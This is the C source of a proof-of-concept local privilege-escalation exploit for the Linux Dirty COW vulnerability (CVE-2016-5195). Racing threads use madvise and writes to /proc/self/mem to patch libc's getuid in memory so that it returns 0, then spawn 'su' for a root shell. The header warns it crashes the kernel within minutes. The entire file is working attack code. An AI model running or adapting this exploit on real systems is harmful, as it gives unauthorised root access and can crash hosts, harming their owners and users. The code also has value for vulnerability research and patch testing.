/* * CVE-2016-5195 dirtypoc * * This PoC is memory only and doesn't write anything on the filesystem. * /!\ Beware, it triggers a kernel crash a few minutes. * * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SHELLCODE "\x31\xc0\xc3" #define SPACE_SIZE 256 #define LIBC_PATH "/lib64/libc.so.6" #define LOOP 0x1000000 #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif struct mem_arg { struct stat st; off_t offset; unsigned long patch_addr; unsigned char *patch; unsigned char *unpatch; size_t patch_size; bool do_patch; void *map; }; static int check(bool do_patch, const char *thread_name) { uid_t uid; uid = getuid(); if (do_patch) { if (uid == 0) { printf("[*] patched (%s)\n", thread_name); return 1; } } else { if (uid != 0) { printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name); return 1; } } return 0; } static void *madviseThread(void *arg) { struct mem_arg *mem_arg; size_t size; void *addr; int i, c = 0; mem_arg = (struct mem_arg *)arg; addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1))); size = mem_arg->offset - (unsigned long)addr; for(i = 0; i < LOOP; i++) { c += madvise(addr, size, MADV_DONTNEED); if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__)) break; } if (c == 0x1337) printf("[*] madvise = %d\n", c); return NULL; } static void *procselfmemThread(void *arg) { struct mem_arg *mem_arg; int fd, i, c = 0; unsigned char *p; mem_arg = (struct mem_arg *)arg; p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; fd = open("/proc/self/mem", O_RDWR); if (fd == -1) err(1, "open(\"/proc/self/mem\""); for (i = 0; i < LOOP; i++) { lseek(fd, mem_arg->offset, SEEK_SET); c += write(fd, p, mem_arg->patch_size); if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__)) break; } if (c == 0x1337) printf("[*] /proc/self/mem %d\n", c); close(fd); return NULL; } static int get_range(unsigned long *start, unsigned long *end) { char line[4096]; char filename[PATH_MAX]; char flags[32]; FILE *fp; int ret; ret = -1; fp = fopen("/proc/self/maps", "r"); if (fp == NULL) err(1, "fopen(\"/proc/self/maps\")"); while (fgets(line, sizeof(line), fp) != NULL) { sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename); if (strstr(flags, "r-xp") == NULL) continue; if (strstr(filename, "/libc-") == NULL) continue; //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename); ret = 0; break; } fclose(fp); return ret; } static void getroot(void) { execlp("su", "su", NULL); err(1, "failed to execute \"su\""); } static void exploit(struct mem_arg *mem_arg, bool do_patch) { pthread_t pth1, pth2; printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch"); mem_arg->do_patch = do_patch; pthread_create(&pth1, NULL, madviseThread, mem_arg); pthread_create(&pth2, NULL, procselfmemThread, mem_arg); pthread_join(pth1, NULL); pthread_join(pth2, NULL); } static unsigned long get_getuid_addr(void) { unsigned long addr; void *handle; char *error; dlerror(); handle = dlopen("libc.so.6", RTLD_LAZY); if (handle == NULL) { fprintf(stderr, "%s\n", dlerror()); exit(EXIT_FAILURE); } addr = (unsigned long)dlsym(handle, "getuid"); error = dlerror(); if (error != NULL) { fprintf(stderr, "%s\n", error); exit(EXIT_FAILURE); } dlclose(handle); return addr; } int main(int argc, char *argv[]) { unsigned long start, end; unsigned long getuid_addr; struct mem_arg mem_arg; struct stat st; pid_t pid; int fd; if (get_range(&start, &end) != 0) errx(1, "failed to get range"); printf("[*] range: %lx-%lx]\n", start, end); getuid_addr = get_getuid_addr(); printf("[*] getuid = %lx\n", getuid_addr); mem_arg.patch = malloc(sizeof(SHELLCODE)-1); if (mem_arg.patch == NULL) err(1, "malloc"); mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1); if (mem_arg.unpatch == NULL) err(1, "malloc"); memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1); memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1); mem_arg.patch_size = sizeof(SHELLCODE)-1; mem_arg.do_patch = true; fd = open(LIBC_PATH, O_RDONLY); if (fd == -1) err(1, "open(\"" LIBC_PATH "\")"); if (fstat(fd, &st) == -1) err(1, "fstat"); mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (mem_arg.map == MAP_FAILED) err(1, "mmap"); close(fd); printf("[*] mmap %p\n", mem_arg.map); mem_arg.st = st; mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start); exploit(&mem_arg, true); pid = fork(); if (pid == -1) err(1, "fork"); if (pid == 0) { getroot(); } else { sleep(2); exploit(&mem_arg, false); if (waitpid(pid, NULL, 0) == -1) warn("waitpid"); } return 0; }